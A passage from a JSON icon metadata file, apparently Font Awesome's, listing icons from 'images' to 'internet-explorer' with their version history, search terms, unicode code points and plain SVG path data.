        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 64c0-35.3-28.7-64-64-64H64C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64l0-384zM128 192a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM80 356.6c0-37.9 30.7-68.6 68.6-68.6h86.9c37.9 0 68.6 30.7 68.6 68.6c0 15.1-12.3 27.4-27.4 27.4H107.4C92.3 384 80 371.7 80 356.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 64c0-35.3-28.7-64-64-64H64C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64l0-384zM128 192a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM80 356.6c0-37.9 30.7-68.6 68.6-68.6h86.9c37.9 0 68.6 30.7 68.6 68.6c0 15.1-12.3 27.4-27.4 27.4H107.4C92.3 384 80 371.7 80 356.6z"
      }
    },
    "free": ["solid"]
  },
  "images": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f302"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["album", "landscape", "photo", "picture"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f302",
    "label": "Images",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M160 32c-35.3 0-64 28.7-64 64V320c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160zM396 138.7l96 144c4.9 7.4 5.4 16.8 1.2 24.6S480.9 320 472 320H328 280 200c-9.2 0-17.6-5.3-21.6-13.6s-2.9-18.2 2.9-25.4l64-80c4.6-5.7 11.4-9 18.7-9s14.2 3.3 18.7 9l17.3 21.6 56-84C360.5 132 368 128 376 128s15.5 4 20 10.7zM192 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V344c0 75.1 60.9 136 136 136H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H136c-48.6 0-88-39.4-88-88V120z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M160 32c-35.3 0-64 28.7-64 64V320c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160zM396 138.7l96 144c4.9 7.4 5.4 16.8 1.2 24.6S480.9 320 472 320H328 280 200c-9.2 0-17.6-5.3-21.6-13.6s-2.9-18.2 2.9-25.4l64-80c4.6-5.7 11.4-9 18.7-9s14.2 3.3 18.7 9l17.3 21.6 56-84C360.5 132 368 128 376 128s15.5 4 20 10.7zM192 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V344c0 75.1 60.9 136 136 136H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H136c-48.6 0-88-39.4-88-88V120z"
      },
      "regular": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M160 80H512c8.8 0 16 7.2 16 16V320c0 8.8-7.2 16-16 16H490.8L388.1 178.9c-4.4-6.8-12-10.9-20.1-10.9s-15.7 4.1-20.1 10.9l-52.2 79.8-12.4-16.9c-4.5-6.2-11.7-9.8-19.4-9.8s-14.8 3.6-19.4 9.8L175.6 336H160c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16zM96 96V320c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160c-35.3 0-64 28.7-64 64zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V344c0 75.1 60.9 136 136 136H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H136c-48.6 0-88-39.4-88-88V120zm208 24a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M160 80H512c8.8 0 16 7.2 16 16V320c0 8.8-7.2 16-16 16H490.8L388.1 178.9c-4.4-6.8-12-10.9-20.1-10.9s-15.7 4.1-20.1 10.9l-52.2 79.8-12.4-16.9c-4.5-6.2-11.7-9.8-19.4-9.8s-14.8 3.6-19.4 9.8L175.6 336H160c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16zM96 96V320c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160c-35.3 0-64 28.7-64 64zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V344c0 75.1 60.9 136 136 136H456c13.3 0 24-10.7 24-24s-10.7-24-24-24H136c-48.6 0-88-39.4-88-88V120zm208 24a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "imdb": {
    "changes": ["4.7.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2d8",
    "label": "IMDB",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M89.5 323.6H53.93V186.2H89.5V323.6zM156.1 250.5L165.2 186.2H211.5V323.6H180.5V230.9L167.1 323.6H145.8L132.8 232.9L132.7 323.6H101.5V186.2H147.6C148.1 194.5 150.4 204.3 151.9 215.6L156.1 250.5zM223.7 323.6V186.2H250.3C267.3 186.2 277.3 187.1 283.3 188.6C289.4 190.3 294 192.8 297.2 196.5C300.3 199.8 302.3 203.1 303 208.5C303.9 212.9 304.4 221.6 304.4 234.7V282.9C304.4 295.2 303.7 303.4 302.5 307.6C301.4 311.7 299.4 315 296.5 317.3C293.7 319.7 290.1 321.4 285.8 322.3C281.6 323.1 275.2 323.6 266.7 323.6H223.7zM259.2 209.7V299.1C264.3 299.1 267.5 298.1 268.6 296.8C269.7 294.8 270.4 289.2 270.4 280.1V226.8C270.4 220.6 270.3 216.6 269.7 214.8C269.4 213 268.5 211.8 267.1 210.1C265.7 210.1 263 209.7 259.2 209.7V209.7zM316.5 323.6V186.2H350.6V230.1C353.5 227.7 356.7 225.2 360.1 223.5C363.7 222 368.9 221.1 372.9 221.1C377.7 221.1 381.8 221.9 385.2 223.3C388.6 224.8 391.2 226.8 393.2 229.5C394.9 232.1 395.9 234.8 396.3 237.3C396.7 239.9 396.1 245.3 396.1 253.5V292.1C396.1 300.3 396.3 306.4 395.3 310.5C394.2 314.5 391.5 318.1 387.5 320.1C383.4 324 378.6 325.4 372.9 325.4C368.9 325.4 363.7 324.5 360.2 322.9C356.7 321.1 353.5 318.4 350.6 314.9L348.5 323.6L316.5 323.6zM361.6 302.9C362.3 301.1 362.6 296.9 362.6 290.4V255C362.6 249.4 362.3 245.5 361.5 243.8C360.8 241.9 357.8 241.1 355.7 241.1C353.7 241.1 352.3 241.9 351.6 243.4C351 244.9 350.6 248.8 350.6 255V291.4C350.6 297.5 351 301.4 351.8 303C352.4 304.7 353.9 305.5 355.9 305.5C358.1 305.5 360.1 304.7 361.6 302.9L361.6 302.9zM418.4 32.04C434.1 33.27 447.1 47.28 447.1 63.92V448.1C447.1 464.5 435.2 478.5 418.9 479.1C418.6 479.1 418.4 480 418.1 480H29.88C29.6 480 29.32 479.1 29.04 479.9C13.31 478.5 1.093 466.1 0 449.7L.0186 61.78C1.081 45.88 13.82 33.09 30.26 31.1H417.7C417.9 31.1 418.2 32.01 418.4 32.04L418.4 32.04zM30.27 41.26C19 42.01 10.02 51.01 9.257 62.4V449.7C9.63 455.1 11.91 460.2 15.7 464C19.48 467.9 24.51 470.3 29.89 470.7H418.1C429.6 469.7 438.7 459.1 438.7 448.1V63.91C438.7 58.17 436.6 52.65 432.7 48.45C428.8 44.24 423.4 41.67 417.7 41.26L30.27 41.26z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M89.5 323.6H53.93V186.2H89.5V323.6zM156.1 250.5L165.2 186.2H211.5V323.6H180.5V230.9L167.1 323.6H145.8L132.8 232.9L132.7 323.6H101.5V186.2H147.6C148.1 194.5 150.4 204.3 151.9 215.6L156.1 250.5zM223.7 323.6V186.2H250.3C267.3 186.2 277.3 187.1 283.3 188.6C289.4 190.3 294 192.8 297.2 196.5C300.3 199.8 302.3 203.1 303 208.5C303.9 212.9 304.4 221.6 304.4 234.7V282.9C304.4 295.2 303.7 303.4 302.5 307.6C301.4 311.7 299.4 315 296.5 317.3C293.7 319.7 290.1 321.4 285.8 322.3C281.6 323.1 275.2 323.6 266.7 323.6H223.7zM259.2 209.7V299.1C264.3 299.1 267.5 298.1 268.6 296.8C269.7 294.8 270.4 289.2 270.4 280.1V226.8C270.4 220.6 270.3 216.6 269.7 214.8C269.4 213 268.5 211.8 267.1 210.1C265.7 210.1 263 209.7 259.2 209.7V209.7zM316.5 323.6V186.2H350.6V230.1C353.5 227.7 356.7 225.2 360.1 223.5C363.7 222 368.9 221.1 372.9 221.1C377.7 221.1 381.8 221.9 385.2 223.3C388.6 224.8 391.2 226.8 393.2 229.5C394.9 232.1 395.9 234.8 396.3 237.3C396.7 239.9 396.1 245.3 396.1 253.5V292.1C396.1 300.3 396.3 306.4 395.3 310.5C394.2 314.5 391.5 318.1 387.5 320.1C383.4 324 378.6 325.4 372.9 325.4C368.9 325.4 363.7 324.5 360.2 322.9C356.7 321.1 353.5 318.4 350.6 314.9L348.5 323.6L316.5 323.6zM361.6 302.9C362.3 301.1 362.6 296.9 362.6 290.4V255C362.6 249.4 362.3 245.5 361.5 243.8C360.8 241.9 357.8 241.1 355.7 241.1C353.7 241.1 352.3 241.9 351.6 243.4C351 244.9 350.6 248.8 350.6 255V291.4C350.6 297.5 351 301.4 351.8 303C352.4 304.7 353.9 305.5 355.9 305.5C358.1 305.5 360.1 304.7 361.6 302.9L361.6 302.9zM418.4 32.04C434.1 33.27 447.1 47.28 447.1 63.92V448.1C447.1 464.5 435.2 478.5 418.9 479.1C418.6 479.1 418.4 480 418.1 480H29.88C29.6 480 29.32 479.1 29.04 479.9C13.31 478.5 1.093 466.1 0 449.7L.0186 61.78C1.081 45.88 13.82 33.09 30.26 31.1H417.7C417.9 31.1 418.2 32.01 418.4 32.04L418.4 32.04zM30.27 41.26C19 42.01 10.02 51.01 9.257 62.4V449.7C9.63 455.1 11.91 460.2 15.7 464C19.48 467.9 24.51 470.3 29.89 470.7H418.1C429.6 469.7 438.7 459.1 438.7 448.1V63.91C438.7 58.17 436.6 52.65 432.7 48.45C428.8 44.24 423.4 41.67 417.7 41.26L30.27 41.26z"
      }
    },
    "free": ["brands"]
  },
  "inbox": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f01c"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["archive", "desk", "email", "mail", "message"]
    },
    "styles": ["solid"],
    "unicode": "f01c",
    "label": "Inbox",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M121 32C91.6 32 66 52 58.9 80.5L1.9 308.4C.6 313.5 0 318.7 0 323.9V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V323.9c0-5.2-.6-10.4-1.9-15.5l-57-227.9C446 52 420.4 32 391 32H121zm0 64H391l48 192H387.8c-12.1 0-23.2 6.8-28.6 17.7l-14.3 28.6c-5.4 10.8-16.5 17.7-28.6 17.7H195.8c-12.1 0-23.2-6.8-28.6-17.7l-14.3-28.6c-5.4-10.8-16.5-17.7-28.6-17.7H73L121 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M121 32C91.6 32 66 52 58.9 80.5L1.9 308.4C.6 313.5 0 318.7 0 323.9V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V323.9c0-5.2-.6-10.4-1.9-15.5l-57-227.9C446 52 420.4 32 391 32H121zm0 64H391l48 192H387.8c-12.1 0-23.2 6.8-28.6 17.7l-14.3 28.6c-5.4 10.8-16.5 17.7-28.6 17.7H195.8c-12.1 0-23.2-6.8-28.6-17.7l-14.3-28.6c-5.4-10.8-16.5-17.7-28.6-17.7H73L121 96z"
      }
    },
    "free": ["solid"]
  },
  "indent": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f03c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["align", "justify", "paragraph", "tab"]
    },
    "styles": ["solid"],
    "unicode": "f03c",
    "label": "Indent",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM192 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zm32 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM127.8 268.6L25.8 347.9C15.3 356.1 0 348.6 0 335.3V176.7c0-13.3 15.3-20.8 25.8-12.6l101.9 79.3c8.2 6.4 8.2 18.9 0 25.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64zM192 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zm32 96H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32s14.3-32 32-32zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM127.8 268.6L25.8 347.9C15.3 356.1 0 348.6 0 335.3V176.7c0-13.3 15.3-20.8 25.8-12.6l101.9 79.3c8.2 6.4 8.2 18.9 0 25.3z"
      }
    },
    "free": ["solid"]
  },
  "indian-rupee-sign": {
    "aliases": {
      "names": ["indian-rupee", "inr"]
    },
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Indian Rupee Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1bc",
    "label": "Indian Rupee Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H96h16H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H231.8c9.6 14.4 16.7 30.6 20.7 48H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H252.4c-13.2 58.3-61.9 103.2-122.2 110.9L274.6 422c14.4 10.3 17.7 30.3 7.4 44.6s-30.3 17.7-44.6 7.4L13.4 314C2.1 306-2.7 291.5 1.5 278.2S18.1 256 32 256h80c32.8 0 61-19.7 73.3-48H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H185.3C173 115.7 144.8 96 112 96H96 32C14.3 96 0 81.7 0 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H96h16H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H231.8c9.6 14.4 16.7 30.6 20.7 48H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H252.4c-13.2 58.3-61.9 103.2-122.2 110.9L274.6 422c14.4 10.3 17.7 30.3 7.4 44.6s-30.3 17.7-44.6 7.4L13.4 314C2.1 306-2.7 291.5 1.5 278.2S18.1 256 32 256h80c32.8 0 61-19.7 73.3-48H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H185.3C173 115.7 144.8 96 112 96H96 32C14.3 96 0 81.7 0 64z"
      }
    },
    "free": ["solid"]
  },
  "industry": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f275"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "factory",
        "industrial",
        "manufacturing",
        "mill",
        "warehouse"
      ]
    },
    "styles": ["solid"],
    "unicode": "f275",
    "label": "Industry",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64V304v48 80c0 26.5 21.5 48 48 48H496c26.5 0 48-21.5 48-48V304 152.2c0-18.2-19.4-29.7-35.4-21.1L352 215.4V152.2c0-18.2-19.4-29.7-35.4-21.1L160 215.4V64c0-17.7-14.3-32-32-32H64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C46.3 32 32 46.3 32 64V304v48 80c0 26.5 21.5 48 48 48H496c26.5 0 48-21.5 48-48V304 152.2c0-18.2-19.4-29.7-35.4-21.1L352 215.4V152.2c0-18.2-19.4-29.7-35.4-21.1L160 215.4V64c0-17.7-14.3-32-32-32H64z"
      }
    },
    "free": ["solid"]
  },
  "infinity": {
    "aliases": {
      "unicodes": {
        "composite": ["221e", "267e"],
        "secondary": ["10f534"]
      }
    },
    "changes": [
      "5.0.13",
      "5.3.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Infinity",
        "eternity",
        "forever",
        "infinity",
        "math",
        "unbounded",
        "universal"
      ]
    },
    "styles": ["solid"],
    "unicode": "f534",
    "label": "Infinity",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 241.1C0 161 65 96 145.1 96c38.5 0 75.4 15.3 102.6 42.5L320 210.7l72.2-72.2C419.5 111.3 456.4 96 494.9 96C575 96 640 161 640 241.1v29.7C640 351 575 416 494.9 416c-38.5 0-75.4-15.3-102.6-42.5L320 301.3l-72.2 72.2C220.5 400.7 183.6 416 145.1 416C65 416 0 351 0 270.9V241.1zM274.7 256l-72.2-72.2c-15.2-15.2-35.9-23.8-57.4-23.8C100.3 160 64 196.3 64 241.1v29.7c0 44.8 36.3 81.1 81.1 81.1c21.5 0 42.2-8.5 57.4-23.8L274.7 256zm90.5 0l72.2 72.2c15.2 15.2 35.9 23.8 57.4 23.8c44.8 0 81.1-36.3 81.1-81.1V241.1c0-44.8-36.3-81.1-81.1-81.1c-21.5 0-42.2 8.5-57.4 23.8L365.3 256z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 241.1C0 161 65 96 145.1 96c38.5 0 75.4 15.3 102.6 42.5L320 210.7l72.2-72.2C419.5 111.3 456.4 96 494.9 96C575 96 640 161 640 241.1v29.7C640 351 575 416 494.9 416c-38.5 0-75.4-15.3-102.6-42.5L320 301.3l-72.2 72.2C220.5 400.7 183.6 416 145.1 416C65 416 0 351 0 270.9V241.1zM274.7 256l-72.2-72.2c-15.2-15.2-35.9-23.8-57.4-23.8C100.3 160 64 196.3 64 241.1v29.7c0 44.8 36.3 81.1 81.1 81.1c21.5 0 42.2-8.5 57.4-23.8L274.7 256zm90.5 0l72.2 72.2c15.2 15.2 35.9 23.8 57.4 23.8c44.8 0 81.1-36.3 81.1-81.1V241.1c0-44.8-36.3-81.1-81.1-81.1c-21.5 0-42.2 8.5-57.4 23.8L365.3 256z"
      }
    },
    "free": ["solid"]
  },
  "info": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f129"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["details", "help", "information", "more", "support"]
    },
    "styles": ["solid"],
    "unicode": "f129",
    "label": "Info",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767248,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 192 512\"><path d=\"M48 80a48 48 0 1 1 96 0A48 48 0 1 1 48 80zM0 224c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32V448h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H64V256H32c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 192, 512],
        "width": 192,
        "height": 512,
        "path": "M48 80a48 48 0 1 1 96 0A48 48 0 1 1 48 80zM0 224c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32V448h32c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H64V256H32c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "instagram": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f16d",
    "label": "Instagram",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z"
      }
    },
    "free": ["brands"]
  },
  "instalod": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e081",
    "label": "InstaLOD",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z"
      }
    },
    "free": ["brands"]
  },
  "intercom": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["app", "customer", "messenger"]
    },
    "styles": ["brands"],
    "unicode": "f7af",
    "label": "Intercom",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z"
      }
    },
    "free": ["brands"]
  },
  "internet-explorer": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["browser", "ie"]
    },
    "styles": ["brands"],
    "unicode": "f26b",
    "label": "Internet-explorer",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
